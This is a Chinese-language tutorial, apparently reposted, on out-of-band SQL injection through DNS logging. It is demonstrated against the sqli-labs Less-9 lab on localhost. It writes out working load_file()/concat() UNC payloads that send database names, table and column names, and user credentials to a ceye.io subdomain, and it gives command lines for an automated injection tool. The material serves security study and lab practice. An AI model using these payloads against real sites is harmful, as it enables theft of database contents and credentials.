SQL注入——DNSlog注入,限制有點大


DNSlog注入

原理:

 

首先需要有一個可以配置的域名,比如:ceye.io,然后通過代理商設置域名 ceye.io nameserver 為自己的服務器 A,然后再服務器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下。

 

 

 

DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息

 

利用場景:

在sql注入時為布爾盲注、時間盲注,注入的效率低且線程高容易被waf攔截,又或者是目標站點沒有回顯,我們在讀取文件、執行命令注入等操作時無法明顯的確認是否利用成功,這時候就要用到我們的DNSlog注入。

 

推薦平台:

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

 

當然你可以根據開源源碼自己搭建dnslog服務器,這里貼上BugScan團隊開源源碼

https://github.com/BugScanTeam/DNSLog

 

這里我就拿ceye.io平台 注冊演示。

 

他會給你一個三級域名,你把信息寫在第四級域名上就好了比如我這里訪問secquan.xxxx.cece.io ,訪問之后就會有查詢記錄。

 

A)利用一:sql注入

不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出。如遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\\www.test.com這樣的URL發起請求。

show variables like '%secure%';查看load_file()可以讀取的磁盤。

1、當secure_file_priv為空,就可以讀取磁盤的目錄。

2、當secure_file_privG:\,就可以讀取G盤的文件。

3、當secure_file_privnullload_file就不能加載文件。

  

通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。

 

 

 

在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句

查看平台,dnsLog被記錄下來。

 

 

 

 

 

PS:稍微解釋一下這個語句,這里使用concat函數將(select database())得到的內容作為查詢url的一部分,和我們的平台三級域名拼接組合成一個四級域名,而load_file函數會通過dns解析請求,所以我們在dnslog平台就可以看到查詢的記錄(包含着我們注入出的數據)

 

對於表段,由於load_file()一次只能傳輸一條數據,所以查詢的時候需要使用limit來一個一個的解析。

 

 

 

Less-9實驗主要是:單引號時間盲注

輸入單引號,發現頁面也是正常的:
http://localhost/Less-9/?id=1

從源代碼中也可以看出,無論輸入什么,回顯都是一樣的:

因此這里可以時間盲注。

當然,也可以是用dnslog注入

一、原理

攻擊者向 mysql 數據庫提交注入語句 

 
?id=1' and if((select load_file(concat('\\\\',(攻擊代碼),'.xxxxxx.ceye.io\\abc'))),1,0)--+

if(x,1,0) 如果x為真,則輸出1,假則輸出0

load_file() 讀取文件並返回文件內容為字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有 FILE 權限。 該文件所有字節可讀,但文件內容必須小於 max_allowed_packet,這個函數也可以用來發送 dns 解析請求,並且只能在 Windows 平台發起 load_file 請求(使用的限制很大!!!)

concat() 拼接字段,將查詢結果拼接為完整域名

\\\\ 轉義后代表 \\,攻擊者可以使用 Microsoft Windows 通用命名約定(UNC)的文件和目錄路徑格式利用擴展存儲程序引發 DNS 地址解析,Windows 系統的UNC語法具有通用的形式:

 
\\ComputerName\SharedFolder\Resource

總結來說,數據庫中攻擊語句被執行,由 concat 函數將執行結果與 xxxxxx.ceye.io\\abc 拼接,構成一個新的域名,而 mysql 中的 select load_file() 可以發起請求,然后這一條帶有數據庫查詢結果的域名就被提交到 dns 服務器進行解析

 

二、環境

搭建 sqli-labs 支持 php7 的靶場,源碼地址 https://github.com/skyblueee/sqli-labs-php7

因為 dnslog 盲注需要使用 load_file() 函數,所以一般得是 root 權限。sql 語句 show variables like '%secure%'; 查看 load_file() 可以讀取的磁盤,若不可用,則修改 my.ini 配置文件

當 secure_file_priv 為空,就可以讀取磁盤的目錄

當 secure_file_priv 為 G:\,就可以讀取G盤的文件

當 secure_file_priv 為 null,load_file 就不能加載文件

我的環境需要修改 my.ini 文件,添加一行 secure_file_priv="",重啟 mysql 服務,再次查詢

 

三、盲注

dnslog 使用 ceye.io 的平台

查當前數據庫

 
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select database()),'.打碼打碼.ceye.io\\abc'))),1,0)-- +

查第一個數據表

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +

查 users 表的第一個字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +

查字段中數據

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select username from users limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +

用 group_ws() 函數分割,因為在 load_file() 里面不能使用 @ ~ 等符號分割,用 hex() 函數轉成十六進制,出來結果了再轉回去即可

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +

limit m , n;

m:表示開始查詢的第一條記錄的編號(第一個結果的記錄編號是0)

n:表示查詢多少條記錄

 

四、工具

自動化 dnslog sql 注入工具 https://github.com/ADOOO/DnslogSqlinj 使用方法和 sqlmap 類似,配置一下 config.py 的 APItoken 和 DNSurl

python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

 

參考:

https://www.cnblogs.com/afanti/p/8047530.html

https://blog.csdn.net/weixin_44743506/article/details/100148914

https://www.cnblogs.com/xhds/p/12322839.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM